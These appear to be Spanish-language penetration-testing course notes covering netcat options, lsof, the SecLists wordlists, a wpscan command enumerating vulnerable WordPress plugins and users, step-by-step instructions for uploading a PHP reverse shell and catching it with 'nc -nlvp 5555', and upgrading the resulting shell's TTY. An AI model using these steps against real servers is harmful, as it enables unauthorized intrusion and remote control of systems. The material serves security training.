Black System

Seguridad Informática

Seguridad Informática

FPTD/2021/019/2080

Netcat / nc

Netcat es una utilidad de red, el cual permite leer y escribir datos a través de conexiones de red, utilizando el protocolo TCP/IP y UDP. Netcat es la herramienta ideal para crear shells directos y reversos durante una Prueba de Penetración, en la cual no es factible utilizar una herramienta como Meterpreter. De esta manera utilizando las funcionalidades que proporciona netcat será factible acceder en modo línea de comando al sistema objetivo.

El comando nc acepta, entre otras, las siguientes opciones básicas:

-l: Sirve para que Netcat abra un puerto y se mantenga a la escucha. Se aceptará una única conexión de un único cliente antes de cerrarse.
-k: Se usa junto con la opción -l con el objetivo de que el puerto ser mantenga abierto tras recibir una conexión, a la espera de más conexiones.
-u: Permite abrir puertos con el protocolo UDP en vez de abrirlos mediante el protocolo TCP.
-p: Esta opción permite especificar el puerto al que conectarse.
-v: Se usa para mostrar información acerca de la conexión. (verbose)
-t: Respuestas compatibles con sesiones de Telnet.

lsof

Su función principal es recuperar detalles sobre varios tipos de archivos abiertos por diferentes procesos en ejecución. Estos archivos pueden ser archivos normales, directorios, archivos de bloque, sockets de red, canalizaciones con nombre, etc.

Puede encontrar diferentes procesos que bloquean un archivo o directorio, un proceso que escucha en un puerto, la lista de procesos de un usuario, todos los archivos que un proceso está bloqueando.

Para saber los puertos que están abiertos en una máquina:
sudo lsof -i -P -n

Repositorio diccionarios

https://github.com/danielmiessler/SecLists

En este repositorio encontrareis gran cantidad de diccionarios para fuerza bruta. Descargarlo y lo metéis dentro de una carpeta de vuestra kali

wpscan

Volveremos a tocar este scan especifico de CMS tipo wordpress más adelante, pero para que os vaya sonando podemos escanear un sitio que sepamos que tiene instalado un wordpress con esta utilidad que viene instalada en kali

wpscan --url http://10.10.11.136/ --enumerate vp,u

(vp=plugins vulnerables)
(u=usuarios)

Para crear una Shell inversa

Para poder crear una Shell inversa vamos a subir un archivo al servidor. Al ejecutar dicho archivo php nos dará una Shell en nuestra kali donde tendremos acceso a los archivos del servidor
Vamos a ello

- Primero nos copiamos un script que esta en: usr/share/webshells/php/php-reverse-shell.php y lo llevamos por ejemplo al directorio de nuestro proyecto
- Ahora tenemos vemos que ip tenemos y abrimos el archivo php con nano o atom.
- Bajamos y donde pone ip = ‘ponemos nuestra ip’ y ponemos el puerto donde queremos activar la Shell inversa
- Ahora ponemos a escuchar a netcat en ese puerto: nc –nlvp 5555
- Ahora vamos a la web y pinchamos o escribimos la ruta donde esta subido ese archivo
- Ya tenemos creada la Shell inversa.

Tratamiento de la TTY tras una intrusion

Para tener una Shell interactiva vamos a realizar los siguientes procesos:

- script /dev/nul –c bash
- control+z para ponerlo en segundo plano
- stty raw –echo
- fg (estas letras no se verán por pantalla)
- reset
- Nos preguntara que tipo de terminal, ponemos: xterm
- export TERM=xterm
- export SHELL=bash